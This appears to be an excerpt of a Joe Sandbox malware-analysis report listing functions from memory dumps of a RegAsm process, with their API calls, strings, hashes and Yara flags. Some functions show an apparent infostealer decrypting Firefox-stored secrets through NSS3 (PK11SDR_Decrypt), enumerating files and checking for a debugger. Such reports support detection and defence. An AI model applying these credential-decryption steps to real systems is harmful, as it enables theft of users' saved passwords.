Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FindH_prolog$FileHeaplstrlenmemsetwsprintf$AllocCloseFirstNextProcess
String ID: %s\%s$%s\*
API String ID: 4045355068-2848263008
Opcode ID: 40cba314f5d5d1e821d4fd3598602aff74911ab757c06c0b8169d4cd51373dea
Instruction ID: 5bac38ace20590dc60dde833938f7c06431b9f0362d482b4154a2e580593d3ab
Opcode Fuzzy Hash: 40cba314f5d5d1e821d4fd3598602aff74911ab757c06c0b8169d4cd51373dea
Instruction Fuzzy Hash: E0514A71900218ABCF10EBA0DC4AADE7BBDFF44315F0045A6F515E3190EB399B95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD7D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CDDE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D4F2
LeaveCriticalSection.KERNEL32(6CDDE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D50B

Part of subcall function 6CD5CFE0: EnterCriticalSection.KERNEL32(6CDDE784), ref: 6CD5CFF6
Part of subcall function 6CD5CFE0: LeaveCriticalSection.KERNEL32(6CDDE784), ref: 6CD5D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D52E
EnterCriticalSection.KERNEL32(6CDDE7DC), ref: 6CD7D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD7D6A6
LeaveCriticalSection.KERNEL32(6CDDE7DC), ref: 6CD7D712
LeaveCriticalSection.KERNEL32(6CDDE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD7D7EA

Strings

<jemalloc>, xrefs: 6CD7D827
: (malloc) Error initializing arena, xrefs: 6CD7D82C

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: a5c1cded017e507fa756916495b3a11d826ab386b06e920bbb40c683793b2193
Instruction ID: a45e97e6d3ae391e93c6bb6b5be40f588110c16269a31c92479181cd50d3b89d
Opcode Fuzzy Hash: a5c1cded017e507fa756916495b3a11d826ab386b06e920bbb40c683793b2193
Instruction Fuzzy Hash: 2191D371A04701DFE764DF28C49072AB7E1EB89314F15492EE59A87FA1D734F844CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CEA0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CEA1006
PK11_FreeSymKey.NSS3(?), ref: 6CEA101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CEA1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CEA10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA112E

Part of subcall function 6CEA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CEA08C4,?,?), ref: 6CEA15B8
Part of subcall function 6CEA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CEA08C4,?,?), ref: 6CEA15C1
Part of subcall function 6CEA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA162E
Part of subcall function 6CEA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA1637

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: acf1303c36c2adc98f2037e31beb2655c28b356b769be3ffeb0bb51adeaa2fe6
Instruction ID: c1aaaaeef1649f8d685af9f9bb74b4c3c81fd74748a80340bc0063da5bba33b6
Opcode Fuzzy Hash: acf1303c36c2adc98f2037e31beb2655c28b356b769be3ffeb0bb51adeaa2fe6
Instruction Fuzzy Hash: F671CDB5A00205CFDB00CFEACD81A6AB7B1BF4831CF24862DE9199B711E731D946CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C3F

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C60
PR_ExplodeTime.NSS3(00000000,6CE71C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C94

Strings

gfff, xrefs: 6CEC6D66
gfff, xrefs: 6CEC6D9C
gfff, xrefs: 6CEC6CFD
gfff, xrefs: 6CEC6CF5
gfff, xrefs: 6CEC6D30

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: d06be53d8e4c462e88ad7e863c83aae4634d31343d5f5fd203506b1b79458b0f
Instruction ID: 8afb7e0f874174ba7ae3d15d8e57244789efd9fd93b84c8eaddcde5798eee182
Opcode Fuzzy Hash: d06be53d8e4c462e88ad7e863c83aae4634d31343d5f5fd203506b1b79458b0f
Instruction Fuzzy Hash: 7D513D72B015494FC708CDADDC527EEBBEA9BA4310F48C23AE441DB781D638D906C751

Uniqueness

Uniqueness Score: -1.00%

Function 004085C0 Relevance: 15.1, APIs: 10, Instructions: 83stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004085E7
lstrlen.KERNEL32(004088E6,00000001,?,00000014,00000000,00000000,?,004088E6,00000014), ref: 00408601
CryptStringToBinaryA.CRYPT32(004088E6,00000000,?,004088E6,00000014), ref: 0040860B
PK11_GetInternalKeySlot.NSS3(?,004088E6,00000014), ref: 00408619
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,004088E6,00000014), ref: 0040862E
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00408659
memcpy.MSVCRT ref: 00408673
lstrcat.KERNEL32(00423ACE,00423AD2), ref: 0040869A
PK11_FreeSlot.NSS3(?), ref: 004086A3
lstrcat.KERNEL32(00423ACE,00423AD3), ref: 004086B2

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 2251291257-0
Opcode ID: 105a471a0a05d9ccfcf831b36f60c92f451f904692f8d3f896a0eb8431df028d
Instruction ID: bee39d0d8d1dbf4582c5dc072b2a3133d7bc1fa7bf97af93feb2c5a489ec4f2e
Opcode Fuzzy Hash: 105a471a0a05d9ccfcf831b36f60c92f451f904692f8d3f896a0eb8431df028d
Instruction Fuzzy Hash: 7521897190021DEFCB009F94ED44AEE7BBCBF04345F14047AF905F2280EB399A559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409B10 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 420fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409B15

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00423AEB,7647AC90), ref: 00409B73
StrCmpCA.SHLWAPI(?,00423D00), ref: 00409B90
StrCmpCA.SHLWAPI(?,00423D04), ref: 00409BAA

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

FindNextFileA.KERNEL32(00000000,?), ref: 0040A0C8
FindClose.KERNEL32(00000000), ref: 0040A0D7

Strings

, xrefs: 0040A056
\*.*, xrefs: 00409B35

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$Filelstrcpy$Find$CloseCreatelstrcat$AllocFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: $\*.*
API String ID: 1275501236-3868368519
Opcode ID: 3d698c48bc0348735ee659368bf4f1ac04485350132014b08eee228bb6ec1e28
Instruction ID: 3ef96b0b9c30ea62201c29f7f0a5fa08062796dfe118d96bcca9b798c68870b7
Opcode Fuzzy Hash: 3d698c48bc0348735ee659368bf4f1ac04485350132014b08eee228bb6ec1e28
Instruction Fuzzy Hash: C302903180024CEACB15EBE2D955BDEBB786F24308F4048AEE445732C2EF791B58DB65

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?), ref: 6CE0B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B0A2
CloseHandle.KERNEL32(?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?,?,?), ref: 6CE0B100
sqlite3_free.NSS3(?,?,00000002,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?), ref: 6CE0B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B12D

Part of subcall function 6CDF9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE0C6FD,?,?,?,?,6CE5F965,00000000), ref: 6CDF9F0E
Part of subcall function 6CDF9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE5F965,00000000), ref: 6CDF9F5D

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 2b48a9c1edb8699325502c5a44b9db4f18f0976fa4f491bbb49f2012455743ce
Instruction ID: 46dbbe0d8887ca1d88134d125e6e044f0ba855dd2bfc001ce19e5af9f6af7f57
Opcode Fuzzy Hash: 2b48a9c1edb8699325502c5a44b9db4f18f0976fa4f491bbb49f2012455743ce
Instruction Fuzzy Hash: 3A91CBB1F4420A8FEB04DF64C885B6BB7B1BF46308B24462DE41697B50EB30E965CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF88D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD14E4,6CF3CC70), ref: 6CF88D47
PR_GetCurrentThread.NSS3 ref: 6CF88D98

Part of subcall function 6CE60F00: PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B
Part of subcall function 6CE60F00: PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF88E7B
htons.WSOCK32(?), ref: 6CF88EDB
PR_GetCurrentThread.NSS3 ref: 6CF88F99
PR_GetCurrentThread.NSS3 ref: 6CF8910A

Strings

%u.%u.%u.%u, xrefs: 6CF88E74

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5a488b14a7f09b19071630f25d4674f45118d893460c12213b13bbd117548f87
Instruction ID: 2db27bd6e92eedbfb2de77ed9e463c6899c4236d04e77a84a5f6cc49f28ef24e
Opcode Fuzzy Hash: 5a488b14a7f09b19071630f25d4674f45118d893460c12213b13bbd117548f87
Instruction Fuzzy Hash: 2C028C3290B6518FDB14CF19C4687AABBB3EF42304F1A825ED8915FB91CB35DA45C790

Uniqueness

Uniqueness Score: -1.00%

Function 6CDA2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CDA2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CDA2C61

Part of subcall function 6CD54DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CD54E5A
Part of subcall function 6CD54DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CD54E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDA2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CDA2E2D

Part of subcall function 6CD681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CD681DE

Strings

expected a Time entry, xrefs: 6CDA2E36
(root), xrefs: 6CDA354F
ProfileBuffer parse error: %s, xrefs: 6CDA2E3B

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 5a4fe60a0dce77790a235c2bd2fe12bb8894e0baa1c152269dcb32b3369beb3e
Instruction ID: eb96d5258abd6043bb8df166310c04e11be14e220a7df88111faf7bc5e395768
Opcode Fuzzy Hash: 5a4fe60a0dce77790a235c2bd2fe12bb8894e0baa1c152269dcb32b3369beb3e
Instruction Fuzzy Hash: 3391D0706087408FDB24CF66C49069EF7E5AFC9358F10491DE99A87BA1DB30D94ACB93

Uniqueness

Uniqueness Score: -1.00%

Function 00418CA7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BA5A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BA6F
UnhandledExceptionFilter.KERNEL32(00426BD0), ref: 0041BA7A
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BA96
TerminateProcess.KERNEL32(00000000), ref: 0041BA9D

Strings

dlB, xrefs: 0041B9A1

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: dlB
API String ID: 2579439406-3775250169
Opcode ID: 8b4ffbfc21d2d73439637ba9f93ab86c245ee6c8710c5e8a450fcd2db16d1800
Instruction ID: def09039e76b7dd074bcf1409d80689872f26bf4f3d71b4e133563df02f7dfd4
Opcode Fuzzy Hash: 8b4ffbfc21d2d73439637ba9f93ab86c245ee6c8710c5e8a450fcd2db16d1800
Instruction Fuzzy Hash: 5421EFF9A04204DFD720DF25FD89744BBB2FB48314F52202AE90A87761E7B45992CF89

Uniqueness

Uniqueness Score: -1.00%

Function 6CF8CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8D086
PR_Malloc.NSS3(00000001), ref: 6CF8D0B9
PR_Free.NSS3(?), ref: 6CF8D138

Strings

>, xrefs: 6CF8CF5B

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 43824b001ff6a4928fca6054225f74d6739a5063f1e4ca6b696c0d1d17a40cbd
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: D2D16C23B47A470BFB14587D8CA13EA77B38F42374F580326D5618BBE9E6198843C351

Uniqueness

Uniqueness Score: -1.00%

Function 6CDC545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CDC8A4B

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 08108366c393c5b40c0d2c9a7ae096a776ce76a3766cf5afaae925a7b9b66d2e
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: ABB1F872F0521ACFDB14CF68CC90BA9B7B6EF85314F1802A9C589DB791E7309985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CDC542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CDC88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CDC925C

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
